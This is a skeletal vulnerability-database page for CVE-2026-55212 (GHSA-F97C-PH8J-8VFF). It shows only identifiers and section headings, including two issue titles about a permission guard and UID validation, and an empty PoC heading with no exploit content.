Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-55212 (GCVE-0-2026-55212)

FKIE_CVE-2026-55212

GHSA-F97C-PH8J-8VFF

Summary

Details

Issue 1 — Incorrect permission guard on CreateController

Issue 2 — No UID format validation at the API layer

PoC

Impact

Tags

Sightings

Nomenclature

Related by attack behaviour